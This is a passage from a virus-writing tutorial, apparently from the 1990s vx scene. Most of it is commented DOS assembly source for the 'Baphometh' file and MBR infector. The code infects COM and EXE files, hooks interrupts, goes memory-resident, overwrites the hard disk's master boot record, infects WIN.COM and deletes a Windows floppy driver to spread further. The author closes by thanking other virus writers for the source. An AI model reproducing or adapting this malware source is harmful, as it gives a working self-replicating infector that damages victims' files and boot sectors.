ax,word ptr ds:[24h*4] xchg bx,word ptr ds:[24h*4+2] mov word ptr cs:[GoodInt24h],ax mov word ptr cs:[GoodInt24h+2],bx sti pop ds mov ax,4300h ; save file attributes int 21h push dx ds cx mov ax,4301h ; set file attributes to zero xor cx,cx int 21h jnc NoErrorsWritingToDisk ; if there was an error when setting jmp FileError ; the attributes the disk is probably ; write protected, so it doesn't ; continue infection. NoErrorsWritingToDisk: mov ax,3d02h ; open the file int 21h jnc Opened jmp FileError Opened: xchg ax,bx push cs cs pop ds es mov ax,5700h ; save file time/date int 21h push cx dx mov ah,3fh ; read 1Ch bytes (the header) lea dx,Header mov cx,1Ch int 21h cmp word ptr cs:[Header],'ZM' ; EXE check jne ExeCheck jmp InfectEXE ExeCheck: cmp word ptr cs:[Header],'MZ' jne SysCheck jmp InfectEXE SysCheck: cmp word ptr cs:[Header],0ffffh ; if its a SYS file that gets executed je CloseFile ; it exits this routine as it can't ; infect such files. SYS files begin ; with the bytes FF FF and are also ; executed with function 4Bh while ; processing the config.sys. InfectCOM: ; routine used to infect COM files mov ax,4202h ; set file pointer to the end xor cx,cx xor dx,dx int 21h cmp dx,0 ; if its too big - exit ja CloseFile push ax ; standard COM infection check sub ax,(EndOfBaphometh - FileEntryPoint) + 3 cmp ax,word ptr cs:[Header+1] pop ax jne ComReadyToBeInfected jmp CloseFile ComReadyToBeInfected: mov byte ptr cs:[WeAre],COM ; set the flag WeAre to COM so the virus know ; 'what it is' :-) sub ax,3 ; calculate the new JMP at the beginning add ax,FileEntryPoint - StartOfBaphometh mov word ptr cs:[NewJmp+1],ax mov ax,4202h ; seek to EOF - 2 mov cx,-1 mov dx,-2 int 21h mov ah,3fh ; read the ENUNS (- a checksum used by lea dx,ENUNS ; Win9x/NT COM files) mov cx,2 int 21h add word ptr cs:[ENUNS],EndOfBaphometh - StartOfBaphometh ; adjust ; the checksum mov word ptr cs:[ENUNS-5],'NE' mov word ptr cs:[ENUNS-3],'NU' mov byte ptr cs:[ENUNS-1],'S' mov ah,40h ; attach bapho to the end of the file lea dx,StartOfBaphometh mov cx,EndOfBaphometh - StartOfBaphometh int 21h mov ax,4200h ; go to the beginning, xor cx,cx xor dx,dx int 21h mov ah,40h ; and write the new JMP which gives control lea dx,NewJmp ; to the virus when the file gets executed. mov cx,3 int 21h CloseFile: mov ax,5701h ; restore file date/time pop dx cx int 21h mov ah,3eh ; close it int 21h FileError: pop cx ds dx mov ax,4301h ; restore its attributes int 21h xor ax,ax mov ds,ax mov ax,word ptr cs:[GoodInt24h] ; also restore the INT 24h handler mov bx,word ptr cs:[GoodInt24h+2] cli mov word ptr ds:[24h*4],ax mov word ptr ds:[24h*4+2],bx sti pop es ds popa jmp RestoreInt21h ; and exit the infection routine. FileEntryPoint: ; this is the entry point if an infected file push ds es ; gets executed call Delta ; calculate the delta offset Delta: pop bp sub bp,offset Delta mov ax,0DEADh int 21h ; installation check cmp bx,0BCBCh jne GoTSR jmp ManualMBRInfection GoTSR: mov ax,ds dec ax mov ds,ax ; ds = MCB sub word ptr ds:[3],40h*4 ; decrease memory block size in MCB and sub word ptr ds:[12h],40h*4 ; PSP by 4KB xor ax,ax mov ds,ax sub word ptr ds:[413h],4 ; also top of memory gets decreased by 4KB mov ax,word ptr ds:[413h] shl ax,6 mov es,ax push cs pop ds lea si,[bp+StartOfBaphometh] ; copy the virus to the free memory xor di,di mov cx,EndOfBaphometh - StartOfBaphometh rep movsb ; this is the manual WIN.COM infection routine, ; it is only used here because of the problem #1 ; which i have described above, the virus is not ; able to infect the MBR if an infected file gets ; executed in windows. thus the virus infects ; WIN.COM, then the MBR will get infected the next ; time WIN.COM is run. ; this has been improved in version 2 of baphometh ; with the fake INT 13h call. lea ax,[bp+ReturnHere] ; the virus will jump to the INT 21h routine with mov word ptr es:[GoodInt21h],ax ; AH = 4BH, DS:DX = C:\WINDOWS\WIN.COM. mov word ptr es:[GoodInt21h+2],cs ; To be able to continue execution below mov word ptr cs:[bp+TSRVirusSegment],es ; it first sets a fake GoodInt21h ; address. mov ah,4bh ; ah = 4bh -> execute file function lea dx,[bp+WinDotCom] ; C:\WINDOWS\WIN.COM pusha push ds es db 0eah ; JMP FAR to dw EvilInt21h ; address of EvilInt21h TSRVirusSegment dw ? ; segment where the virus was copied to. ReturnHere: ; after win.com got infected execution will continue pop es ds ; here popa xor ax,ax mov ds,ax lea ax,EvilInt21h ; hook int 21h mov bx,es cli xchg ds:[21h*4],ax xchg ds:[21h*4+2],bx mov word ptr es:[GoodInt21h],ax mov word ptr es:[GoodInt21h+2],bx sti ManualMBRInfection: ; this routine places a copy of the virus push cs cs ; into the MBR of your first HDD pop es ds mov ah,41h ; here it deletes the 32bit floppy driver lea dx,[bp+HsflopDotPdr] ; HSFLOP.PDR to be able to infect floppies int 21h ; when they are accessed in windows. ; these 3 lines of code are the solution ; to problem #3 :-) mov ax,0201h ; read the original MBR mov dx,80h mov cx,1 lea bx,[bp+EndOfBaphometh] int 13h lea bx,[bp+offset EndOfBaphometh] ; just to make sure, an infection add bx,offset Marker ; check cmp word ptr cs:[bx],'DT' jne MBRNotYetInfected jmp Restore MBRNotYetInfected: ; save the partition table in the virus lea si,[bp+EndOfBaphometh] add si,1BEh lea di,[bp+PartitionTable] mov cx,40h rep movsb mov ax,0301h ; save the original MBR at sector 2 mov dx,80h mov cx,2 lea bx,[bp+EndOfBaphometh] int 13h mov dx,80h ; overwrite the MBR with bapho's first mov ax,0301h ; part lea bx,[bp+StartOfBaphometh] mov cx,1 int 13h mov dx,80h ; and save the rest of bapho at sector mov ax,0302h ; 3 and 4 lea bx,[bp+StartOfBaphometh] add bx,512 mov cx,3 int 13h Restore: cmp byte ptr cs:[bp+WeAre],EXE ; this is the routine which gives control je RestoreEXE ; back to the host, it checks if the ; executed file was either a COM or EXE ; file using the WeAre flag. pop es ds RestoreCom: ; simple COM restoring routine, just lea si,[bp+Header] ; copy the 3 original bytes back, mov di,100h movsw movsb push 100h ; and jump to 100h (com entry point) ret NewJmp db 0e9h,0,0 ; just some variables... WeAre db EXE ; initially bapho gets compiled to an EXE WinDotCom db 'c:\windows\win.com',0 ; path's to some important files :-) HsFlopDotPdr db 'c:\windows\system\iosubsys\hsflop.pdr',0 RestoreEXE: ; routine to restore the exe file lea si,[bp+Original_IP] ; first copy the value from original_ip to lea di,[bp+Old_IP] ; old_ip mov cx,4 rep movsw pop es ds mov ax,es ; ax = PSP add ax,10h ; ax + 10(paragraphs) = code/data image ; address add word ptr cs:[bp+Old_CS],ax ; adjust the relative CS, cli add ax,word ptr cs:[bp+Old_SS] ; and SS values mov ss,ax mov sp,word ptr cs:[bp+Old_SP] ; restore SP sti db 0eah ; now jump to the original exe entry point. Old_IP dw ? Old_CS dw ? Old_SS dw ? Old_SP dw ? Original_IP dw offset DummyFile Original_CS dw 0 Original_SS dw 0 Original_SP dw 0FFFEh InfectEXE: ; routine used to infect an exe file cmp word ptr cs:[Header+18h],40h ; check if its a new exe file jb NoNewEXE jmp CloseFile ; if it is, exit because it can't infect NE/PE/LE,... files NoNewEXE: cmp word ptr cs:[Header+12h],'DT' ; infection check jne EXENotYetInfected jmp CloseFile EXENotYetInfected: ; if not yet infected, save SS, SP, IP mov byte ptr cs:[WeAre],EXE ; and CS, and mark the file as infected. mov word ptr cs:[Header+12h],'DT' mov ax,word ptr cs:[Header+0Eh] mov word ptr cs:[Original_SS],ax mov ax,word ptr cs:[Header+10h] mov word ptr cs:[Original_SP],ax mov ax,word ptr cs:[Header+14h] mov word ptr cs:[Original_IP],ax mov ax,word ptr cs:[Header+16h] mov word ptr cs:[Original_CS],ax mov ax,word ptr cs:[Header+4] ; this whole routine checks if the ; file has overlays by calculating the cmp word ptr cs:[Header+2],0 ; the filesize from the header and by je NoRemainder2 ; comparing it to the real filesize. if dec ax ; they do not match the file has overlays NoRemainder2: ; and doesn't get infected. ; mov cx,512 ; mul cx ; ; add ax,word ptr cs:[Header+2] ; adc dx,0 ; ; mov word ptr cs:[FileSize],ax ; mov word ptr cs:[FIleSize+2],dx ; ; mov ax,4202h ; xor cx,cx ; xor dx,dx ; int 21h ; ; cmp word ptr cs:[FileSize],ax ; je MightHaveNoOverlays ; jmp CloseFile ; MightHaveNoOverlays: ; cmp word ptr cs:[FileSize+2],dx ; je HasNoOverlays ; jmp CloseFile ; HasNoOverlays: ; if it has no overlays the infection push ax dx ; process continues here, add ax,EndOfBaphometh - StartOfBaphometh ; calculate a new filesize adc dx,0 ; (old size + virus code) ; mov cx,512 ; div cx ; ; cmp dx,0 ; je NoRemainder ; inc ax ; NoRemainder: ; ; mov word ptr cs:[Header+4],ax ; save new file size mov word ptr cs:[Header+2],dx ; pop dx ax ; calculate new entry point ; mov cx,16 ; div cx ; ; add dx,offset FileEntryPoint ; ; mov cx,word ptr cs:[Header+8] ; sub ax,cx ; mov word ptr cs:[Header+16h],ax ; save new CS, IP, SS, SP mov word ptr cs:[Header+14h],dx mov word ptr cs:[Header+0eh],ax mov word ptr cs:[Header+10h],0fffeh lea di,[ENUNS-5] ; when infecting an EXE the virus has xor al,al ; to remove the string ENUNS, else the mov cx,5 ; enuns file will crash. rep stosb mov ah,40h ; attach baphometh to the file lea dx,StartOfBaphometh mov cx,EndOfBaphometh - StartOfBaphometh int 21h mov ax,4200h xor cx,cx xor dx,dx int 21h ; go to the beginning, mov ah,40h ; and overwrite the old header with the lea dx,Header ; patched one mov cx,1Ch int 21h jmp CloseFile ; done DummyFile: ; this is just a dummy file, it will get executed mov ax,4C00h ; only the first time the virus is run. int 21h db '- $BAPHOMETH$',0,'v1',0,'~CAD! /AVM /CB -' ORG 1529 db 'ENUNS' ENUNS dw ? EndOfBaphometh: Baphometh ends end FileEntryPoint --- Virus source code ends here --- Well, I hope that this was everything you need to know to get started with BS/MBR infection. Finally I'd like to thank CTRL-ALT-DEL for showing me how to write this type of viruses and for providing source codes of his viruses Baphometh v1 - v2.1, greets also go to Opic for helping me a bit with writing this tutorial :-) peace, --SPo0Ky spooky@nym.alias.net - http://mrspook.cjb.net